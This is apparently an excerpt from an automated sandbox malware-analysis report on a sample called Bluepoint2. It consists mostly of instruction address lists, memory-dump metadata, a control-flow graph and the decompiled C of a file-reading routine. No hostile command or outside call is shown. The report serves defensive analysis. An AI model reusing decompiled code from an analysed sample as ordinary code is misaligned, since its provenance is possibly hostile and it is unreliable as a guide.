                                                    0x00406cf1
                                                    0x00406cf4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d39
                                                    0x00406d3f
                                                    0x00406d42
                                                    0x00406d4f
                                                    0x00406d57
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d0e
                                                    0x00406d0e
                                                    0x00406d12
                                                    0x0040755d
                                                    0x00000000
                                                    0x0040755d
                                                    0x00406d1e
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d2c
                                                    0x00406d2f
                                                    0x00406d32
                                                    0x00406d35
                                                    0x00406d37
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073dd
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x00407413
                                                    0x0040741a
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040741c
                                                    0x0040741c
                                                    0x00407420
                                                    0x004075cf
                                                    0x00000000
                                                    0x004075cf
                                                    0x0040742c
                                                    0x00407433
                                                    0x0040743b
                                                    0x0040743b
                                                    0x0040743b
                                                    0x0040743e
                                                    0x00407441
                                                    0x00407441
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d5f
                                                    0x00406d61
                                                    0x00406d64
                                                    0x00406dd5
                                                    0x00406dd8
                                                    0x00406ddb
                                                    0x00406de2
                                                    0x00406dec
                                                    0x00000000
                                                    0x00406dec
                                                    0x00406d66
                                                    0x00406d6a
                                                    0x00406d6d
                                                    0x00406d6f
                                                    0x00406d72
                                                    0x00406d75
                                                    0x00406d77
                                                    0x00406d7a
                                                    0x00406d7c
                                                    0x00406d81
                                                    0x00406d84
                                                    0x00406d87
                                                    0x00406d8b
                                                    0x00406d92
                                                    0x00406d95
                                                    0x00406d9c
                                                    0x00406da0
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406dac
                                                    0x00406daf
                                                    0x00406dcd
                                                    0x00406dcf
                                                    0x00000000
                                                    0x00406dcf
                                                    0x00406db1
                                                    0x00406db4
                                                    0x00406db7
                                                    0x00406dba
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbf
                                                    0x00406dc2
                                                    0x00406dc4
                                                    0x00406dc5
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ffe
                                                    0x00407002
                                                    0x00407020
                                                    0x00407023
                                                    0x0040702a
                                                    0x0040702d
                                                    0x00407030
                                                    0x00407033
                                                    0x00407036
                                                    0x00407039
                                                    0x0040703b
                                                    0x00407042
                                                    0x00407043
                                                    0x00407045
                                                    0x00407048
                                                    0x0040704b
                                                    0x0040704e
                                                    0x0040704e
                                                    0x00407053
                                                    0x00000000
                                                    0x00407053
                                                    0x00407004
                                                    0x00407007
                                                    0x0040700a
                                                    0x00407014
                                                    0x00000000
                                                    0x00000000
                                                    0x00407068
                                                    0x0040706c
                                                    0x0040708f
                                                    0x00407092
                                                    0x00407095
                                                    0x0040709f
                                                    0x0040706e
                                                    0x0040706e
                                                    0x00407071
                                                    0x00407074
                                                    0x00407077
                                                    0x00407084
                                                    0x00407087
                                                    0x00407087
                                                    0x00000000
                                                    0x00000000
                                                    0x004070ab
                                                    0x004070af
                                                    0x00000000
                                                    0x00000000
                                                    0x004070b5
                                                    0x004070b9
                                                    0x00000000
                                                    0x00000000
                                                    0x004070bf
                                                    0x004070c1
                                                    0x004070c5
                                                    0x004070c5
                                                    0x004070c8
                                                    0x004070cc
                                                    0x00000000
                                                    0x00000000
                                                    0x0040711c
                                                    0x00407120
                                                    0x00407127
                                                    0x0040712a
                                                    0x0040712d
                                                    0x00407137
                                                    0x00000000
                                                    0x00407137
                                                    0x00407122
                                                    0x00000000
                                                    0x00000000
                                                    0x00407143
                                                    0x00407147
                                                    0x0040714e
                                                    0x00407151
                                                    0x00407154
                                                    0x00407149
                                                    0x00407149
                                                    0x00407149
                                                    0x00407157
                                                    0x0040715a
                                                    0x0040715d
                                                    0x0040715d
                                                    0x00407160
                                                    0x00407163
                                                    0x00407166
                                                    0x00407166
                                                    0x00407169
                                                    0x00407170
                                                    0x00407175
                                                    0x00000000
                                                    0x00000000
                                                    0x00407203
                                                    0x00407203
                                                    0x00407207
                                                    0x004075a5
                                                    0x00000000
                                                    0x004075a5
                                                    0x0040720d
                                                    0x00407210
                                                    0x00407213
                                                    0x00407217
                                                    0x0040721a
                                                    0x00407220
                                                    0x00407222
                                                    0x00407222
                                                    0x00407222
                                                    0x00407225
                                                    0x00407228
                                                    0x00000000
                                                    0x00000000
                                                    0x00406df8
                                                    0x00406df8
                                                    0x00406dfc
                                                    0x00407569
                                                    0x00000000
                                                    0x00407569
                                                    0x00406e02
                                                    0x00406e05
                                                    0x00406e08
                                                    0x00406e0c
                                                    0x00406e0f
                                                    0x00406e15
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e1a
                                                    0x00406e1d
                                                    0x00406e1d
                                                    0x00406e20
                                                    0x00406e23
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e29
                                                    0x00406e2f
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e35
                                                    0x00406e35
                                                    0x00406e39
                                                    0x00406e3c
                                                    0x00406e3f
                                                    0x00406e42
                                                    0x00406e45
                                                    0x00406e46
                                                    0x00406e49
                                                    0x00406e4b
                                                    0x00406e51
                                                    0x00406e54
                                                    0x00406e57
                                                    0x00406e5a
                                                    0x00406e5d
                                                    0x00406e60
                                                    0x00406e63
                                                    0x00406e7f
                                                    0x00406e82
                                                    0x00406e85
                                                    0x00406e88
                                                    0x00406e8f
                                                    0x00406e93
                                                    0x00406e95
                                                    0x00406e99
                                                    0x00406e65
                                                    0x00406e65
                                                    0x00406e69
                                                    0x00406e71
                                                    0x00406e76
                                                    0x00406e78
                                                    0x00406e7a
                                                    0x00406e7a
                                                    0x00406e9c
                                                    0x00406ea3
                                                    0x00406ea6
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eb1
                                                    0x00406eb1
                                                    0x00406eb5
                                                    0x00407575
                                                    0x00000000
                                                    0x00407575
                                                    0x00406ebb
                                                    0x00406ebe
                                                    0x00406ec1
                                                    0x00406ec5
                                                    0x00406ec8
                                                    0x00406ece
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed3
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406edc
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ede
                                                    0x00406ee1
                                                    0x00406ee4
                                                    0x00406ee7
                                                    0x00406eea
                                                    0x00406eed
                                                    0x00406ef0
                                                    0x00406ef3
                                                    0x00406ef6
                                                    0x00406ef9
                                                    0x00406efc
                                                    0x00406f14
                                                    0x00406f17
                                                    0x00406f1a
                                                    0x00406f1d
                                                    0x00406f1d
                                                    0x00406f20
                                                    0x00406f24
                                                    0x00406f26
                                                    0x00406efe
                                                    0x00406efe
                                                    0x00406f06
                                                    0x00406f0b
                                                    0x00406f0d
                                                    0x00406f0f
                                                    0x00406f0f
                                                    0x00406f29
                                                    0x00406f30
                                                    0x00406f33
                                                    0x00000000
                                                    0x00406f35
                                                    0x00000000
                                                    0x00406f35
                                                    0x00406f33
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f75
                                                    0x00406f75
                                                    0x00406f79
                                                    0x00407581
                                                    0x00000000
                                                    0x00407581
                                                    0x00406f7f
                                                    0x00406f82
                                                    0x00406f85
                                                    0x00406f89
                                                    0x00406f8c
                                                    0x00406f92
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f97
                                                    0x00406f9a
                                                    0x00406f9a
                                                    0x00406fa0
                                                    0x00406f3e
                                                    0x00406f3e
                                                    0x00406f41
                                                    0x00000000
                                                    0x00406f41
                                                    0x00406fa2
                                                    0x00406fa2
                                                    0x00406fa5
                                                    0x00406fa8
                                                    0x00406fab
                                                    0x00406fae
                                                    0x00406fb1
                                                    0x00406fb4
                                                    0x00406fb7
                                                    0x00406fba
                                                    0x00406fbd
                                                    0x00406fc0
                                                    0x00406fd8
                                                    0x00406fdb
                                                    0x00406fde
                                                    0x00406fe1
                                                    0x00406fe1
                                                    0x00406fe4
                                                    0x00406fe8
                                                    0x00406fea
                                                    0x00406fc2
                                                    0x00406fc2
                                                    0x00406fca
                                                    0x00406fcf
                                                    0x00406fd1
                                                    0x00406fd3
                                                    0x00406fd3
                                                    0x00406fed
                                                    0x00406ff4
                                                    0x00406ff7
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00407286
                                                    0x00407286
                                                    0x0040728a
                                                    0x004075b1
                                                    0x00000000
                                                    0x004075b1
                                                    0x00407290
                                                    0x00407293
                                                    0x00407296
                                                    0x0040729a
                                                    0x0040729d
                                                    0x004072a3
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407056
                                                    0x00407056
                                                    0x00407059
                                                    0x00000000
                                                    0x00000000
                                                    0x00407395
                                                    0x00407399
                                                    0x004073bb
                                                    0x004073be
                                                    0x004073c8
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x0040739b
                                                    0x0040739e
                                                    0x004073a2
                                                    0x004073a5
                                                    0x004073a5
                                                    0x004073a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407452
                                                    0x00407456
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x0040747b
                                                    0x00407482
                                                    0x00407489
                                                    0x00407489
                                                    0x00000000
                                                    0x00407489
                                                    0x00407458
                                                    0x0040745b
                                                    0x0040745e
                                                    0x00407461
                                                    0x00407468
                                                    0x004073ac
                                                    0x004073ac
                                                    0x004073af
                                                    0x00000000
                                                    0x00000000
                                                    0x00407543
                                                    0x00407546
                                                    0x00000000
                                                    0x00000000
                                                    0x0040717d
                                                    0x0040717f
                                                    0x00407186
                                                    0x00407187
                                                    0x00407189
                                                    0x0040718c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407194
                                                    0x00407197
                                                    0x0040719a
                                                    0x0040719c
                                                    0x0040719e
                                                    0x0040719e
                                                    0x0040719f
                                                    0x004071a2
                                                    0x004071a9
                                                    0x004071ac
                                                    0x004071ba
                                                    0x00000000
                                                    0x00000000
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040749f
                                                    0x0040749f
                                                    0x004074a3
                                                    0x004075db
                                                    0x00000000
                                                    0x004075db
                                                    0x004074a9
                                                    0x004074ac
                                                    0x004074af
                                                    0x004074b3
                                                    0x004074b6
                                                    0x004074bc
                                                    0x004074be
                                                    0x004074be
                                                    0x004074be
                                                    0x004074c1
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c7
                                                    0x004074c7
                                                    0x004074cb
                                                    0x0040752b
                                                    0x0040752e
                                                    0x00407533
                                                    0x00407534
                                                    0x00407536
                                                    0x00407538
                                                    0x0040753b
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x00407447
                                                    0x004074cd
                                                    0x004074d3
                                                    0x004074d6
                                                    0x004074d9
                                                    0x004074dc
                                                    0x004074df
                                                    0x004074e2
                                                    0x004074e5
                                                    0x004074e8
                                                    0x004074eb
                                                    0x004074ee
                                                    0x00407507
                                                    0x0040750a
                                                    0x0040750d
                                                    0x00407510
                                                    0x00407514
                                                    0x00407516
                                                    0x00407516
                                                    0x00407517
                                                    0x0040751a
                                                    0x004074f0
                                                    0x004074f0
                                                    0x004074f8
                                                    0x004074fd
                                                    0x004074ff
                                                    0x00407502
                                                    0x00407502
                                                    0x0040751d
                                                    0x00407524
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x004071c2
                                                    0x004071c5
                                                    0x004071fb
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732e
                                                    0x0040732e
                                                    0x00407331
                                                    0x00407333
                                                    0x004075bd
                                                    0x00000000
                                                    0x004075bd
                                                    0x00407339
                                                    0x0040733c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407342
                                                    0x00407346
                                                    0x00407349
                                                    0x00407349
                                                    0x00407349
                                                    0x00000000
                                                    0x00407349
                                                    0x004071c7
                                                    0x004071c9
                                                    0x004071cb
                                                    0x004071cd
                                                    0x004071d0
                                                    0x004071d1
                                                    0x004071d3
                                                    0x004071d5
                                                    0x004071d8
                                                    0x004071db
                                                    0x004071f1
                                                    0x004071f6
                                                    0x0040722e
                                                    0x0040722e
                                                    0x00407232
                                                    0x0040725e
                                                    0x00407260
                                                    0x00407267
                                                    0x0040726a
                                                    0x0040726d
                                                    0x0040726d
                                                    0x00407272
                                                    0x00407272
                                                    0x00407274
                                                    0x00407277
                                                    0x0040727e
                                                    0x00407281
                                                    0x004072ae
                                                    0x004072ae
                                                    0x004072b1
                                                    0x004072b4
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00000000
                                                    0x00407328
                                                    0x004072b6
                                                    0x004072bc
                                                    0x004072bf
                                                    0x004072c2
                                                    0x004072c5
                                                    0x004072c8
                                                    0x004072cb
                                                    0x004072ce
                                                    0x004072d1
                                                    0x004072d4
                                                    0x004072d7
                                                    0x004072f0
                                                    0x004072f2
                                                    0x004072f5
                                                    0x004072f6
                                                    0x004072f9
                                                    0x004072fb
                                                    0x004072fe
                                                    0x00407300
                                                    0x00407302
                                                    0x00407305
                                                    0x00407307
                                                    0x0040730a
                                                    0x0040730e
                                                    0x00407310
                                                    0x00407310
                                                    0x00407311
                                                    0x00407314
                                                    0x00407317
                                                    0x004072d9
                                                    0x004072d9
                                                    0x004072e1
                                                    0x004072e6
                                                    0x004072e8
                                                    0x004072eb
                                                    0x004072eb
                                                    0x0040731a
                                                    0x00407321
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x00000000
                                                    0x00407323
                                                    0x00000000
                                                    0x00407323
                                                    0x00407321
                                                    0x00407234
                                                    0x00407237
                                                    0x00407239
                                                    0x0040723c
                                                    0x0040723f
                                                    0x00407242
                                                    0x00407244
                                                    0x00407247
                                                    0x0040724a
                                                    0x0040724a
                                                    0x0040724d
                                                    0x0040724d
                                                    0x00407250
                                                    0x00407257
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x00000000
                                                    0x00407259
                                                    0x00000000
                                                    0x00407259
                                                    0x00407257
                                                    0x004071dd
                                                    0x004071e0
                                                    0x004071e2
                                                    0x004071e5
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f44
                                                    0x00406f44
                                                    0x00406f48
                                                    0x0040758d
                                                    0x00000000
                                                    0x0040758d
                                                    0x00406f4e
                                                    0x00406f51
                                                    0x00406f54
                                                    0x00406f57
                                                    0x00406f5a
                                                    0x00406f5d
                                                    0x00406f60
                                                    0x00406f62
                                                    0x00406f65
                                                    0x00406f68
                                                    0x00406f6b
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00000000
                                                    0x00000000
                                                    0x004070cf
                                                    0x004070cf
                                                    0x004070d3
                                                    0x00407599
                                                    0x00000000
                                                    0x00407599
                                                    0x004070d9
                                                    0x004070dc
                                                    0x004070df
                                                    0x004070e2
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e7
                                                    0x004070ea
                                                    0x004070ed
                                                    0x004070f0
                                                    0x004070f3
                                                    0x004070f6
                                                    0x004070f7
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x0040710a
                                                    0x0040710a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00000000
                                                    0x0040710d
                                                    0x0040738e
                                                    0x004075c3
                                                    0x004075e5
                                                    0x004075eb
                                                    0x004075ed
                                                    0x004075f4
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x004075fa
                                                    0x004075fa
                                                    0x00000000

                                                    Strings
                                                    • <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1., xrefs: 00406BBA
                                                    • font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma, xrefs: 00406BB0
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.$font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma
                                                    • API String ID: 0-546649030
                                                    • Opcode ID: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
                                                    • Instruction ID: 41bbaa2e3590000dceee7c9791d291245bc26db239967492cd44d063337b5de0
                                                    • Opcode Fuzzy Hash: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
                                                    • Instruction Fuzzy Hash: 3E814831D08228DBEF28CFA8C8447ADBBB1FF44305F14816AD856B7281D778A986DF45
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 919 403479-4034a1 GetTickCount 920 4035d1-4035d9 call 40302e 919->920 921 4034a7-4034d2 call 4035f8 SetFilePointer 919->921 926 4035db-4035df 920->926 927 4034d7-4034e9 921->927 928 4034eb 927->928 929 4034ed-4034fb call 4035e2 927->929 928->929 932 403501-40350d 929->932 933 4035c3-4035c6 929->933 934 403513-403519 932->934 933->926 935 403544-403560 call 406bb0 934->935 936 40351b-403521 934->936 941 403562-40356a 935->941 942 4035cc 935->942 936->935 937 403523-403543 call 40302e 936->937 937->935 944 40356c-403574 call 40620a 941->944 945 40358d-403593 941->945 946 4035ce-4035cf 942->946 949 403579-40357b 944->949 945->942 948 403595-403597 945->948 946->926 948->942 950 403599-4035ac 948->950 951 4035c8-4035ca 949->951 952 40357d-403589 949->952 950->927 953 4035b2-4035c1 SetFilePointer 950->953 951->946 952->934 954 40358b 952->954 953->920 954->950
                                                    C-Code - Quality: 94%
                                                    			E00403479(intOrPtr _a4) {
                                                    				intOrPtr _t10;
                                                    				intOrPtr _t11;
                                                    				signed int _t12;
                                                    				void* _t14;
                                                    				void* _t15;
                                                    				long _t16;
                                                    				void* _t18;
                                                    				intOrPtr _t19;
                                                    				intOrPtr _t31;
                                                    				long _t32;
                                                    				intOrPtr _t34;
                                                    				intOrPtr _t36;
                                                    				void* _t37;
                                                    				intOrPtr _t49;
                                                    
                                                    				_t32 =  *0x420ef4; // 0x5afdd
                                                    				_t34 = _t32 -  *0x40ce60 + _a4;
                                                    				 *0x42a26c = GetTickCount() + 0x1f4;
                                                    				if(_t34 <= 0) {
                                                    					L22:
                                                    					E0040302E(1);
                                                    					return 0;
                                                    				}
                                                    				E004035F8( *0x420f04);
                                                    				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
                                                    				 *0x420f00 = _t34;
                                                    				 *0x420ef0 = 0;
                                                    				while(1) {
                                                    					_t10 =  *0x420ef8; // 0x2bbad
                                                    					_t31 = 0x4000;
                                                    					_t11 = _t10 -  *0x420f04;
                                                    					if(_t11 <= 0x4000) {
                                                    						_t31 = _t11;
                                                    					}
                                                    					_t12 = E004035E2(0x414ef0, _t31);
                                                    					if(_t12 == 0) {
                                                    						break;
                                                    					}
                                                    					 *0x420f04 =  *0x420f04 + _t31;
                                                    					 *0x40ce80 = 0x414ef0;
                                                    					 *0x40ce84 = _t31;
                                                    					L6:
                                                    					L6:
                                                    					if( *0x42a270 != 0 &&  *0x42a300 == 0) {
                                                    						_t19 =  *0x420f00; // 0x230a5
                                                    						 *0x420ef0 = _t19 -  *0x420ef4 - _a4 +  *0x40ce60;
                                                    						E0040302E(0);
                                                    					}
                                                    					 *0x40ce88 = 0x40cef0;
                                                    					 *0x40ce8c = 0x8000; // executed
                                                    					_t14 = E00406BB0(0x40ce68); // executed
                                                    					if(_t14 < 0) {
                                                    						goto L20;
                                                    					}
                                                    					_t36 =  *0x40ce88; // 0x40d152
                                                    					_t37 = _t36 - 0x40cef0;
                                                    					if(_t37 == 0) {
                                                    						__eflags =  *0x40ce84; // 0x0
                                                    						if(__eflags != 0) {
                                                    							goto L20;
                                                    						}
                                                    						__eflags = _t31;
                                                    						if(_t31 == 0) {
                                                    							goto L20;
                                                    						}
                                                    						L16:
                                                    						_t16 =  *0x420ef4; // 0x5afdd
                                                    						if(_t16 -  *0x40ce60 + _a4 > 0) {
                                                    							continue;
                                                    						}
                                                    						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
                                                    						goto L22;
                                                    					}
                                                    					_t18 = E0040620A( *0x40a01c, 0x40cef0, _t37); // executed
                                                    					if(_t18 == 0) {
                                                    						_push(0xfffffffe);
                                                    						L21:
                                                    						_pop(_t15);
                                                    						return _t15;
                                                    					}
                                                    					 *0x40ce60 =  *0x40ce60 + _t37;
                                                    					_t49 =  *0x40ce84; // 0x0
                                                    					if(_t49 != 0) {
                                                    						goto L6;
                                                    					}
                                                    					goto L16;
                                                    					L20:
                                                    					_push(0xfffffffd);
                                                    					goto L21;
                                                    				}
                                                    				return _t12 | 0xffffffff;
                                                    			}

















                                                    0x0040347c
                                                    0x00403489
                                                    0x0040349c
                                                    0x004034a1
                                                    0x004035d1
                                                    0x004035d3
                                                    0x00000000
                                                    0x004035d9
                                                    0x004034ad
                                                    0x004034c0
                                                    0x004034c6
                                                    0x004034cc
                                                    0x004034d7
                                                    0x004034d7
                                                    0x004034dc
                                                    0x004034e1
                                                    0x004034e9
                                                    0x004034eb
                                                    0x004034eb
                                                    0x004034f4
                                                    0x004034fb
                                                    0x00000000
                                                    0x00000000
                                                    0x00403501
                                                    0x00403507
                                                    0x0040350d
                                                    0x00000000
                                                    0x00403513
                                                    0x00403519
                                                    0x00403523
                                                    0x00403539
                                                    0x0040353e
                                                    0x00403543
                                                    0x00403549
                                                    0x0040354f
                                                    0x00403559
                                                    0x00403560
                                                    0x00000000
                                                    0x00000000
                                                    0x00403562
                                                    0x00403568
                                                    0x0040356a
                                                    0x0040358d
                                                    0x00403593
                                                    0x00000000
                                                    0x00000000
                                                    0x00403595
                                                    0x00403597
                                                    0x00000000
                                                    0x00000000
                                                    0x00403599
                                                    0x00403599
                                                    0x004035ac
                                                    0x00000000
                                                    0x00000000
                                                    0x004035bb
                                                    0x00000000
                                                    0x004035bb
                                                    0x00403574
                                                    0x0040357b
                                                    0x004035c8
                                                    0x004035ce
                                                    0x004035ce
                                                    0x00000000
                                                    0x004035ce
                                                    0x0040357d
                                                    0x00403583
                                                    0x00403589
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004035cc
                                                    0x004035cc
                                                    0x00000000
                                                    0x004035cc
                                                    0x00000000

                                                    APIs
                                                    • GetTickCount.KERNEL32 ref: 0040348D
                                                      • Part of subcall function 004035F8: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606
                                                    • SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 004034C0
                                                    • SetFilePointer.KERNELBASE(0005AFDD,00000000,00000000,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.,00004000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000), ref: 004035BB
                                                    Strings
                                                    • <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1., xrefs: 004034ED, 004034F3
                                                    • font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma, xrefs: 004034D2, 0040356D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FilePointer$CountTick
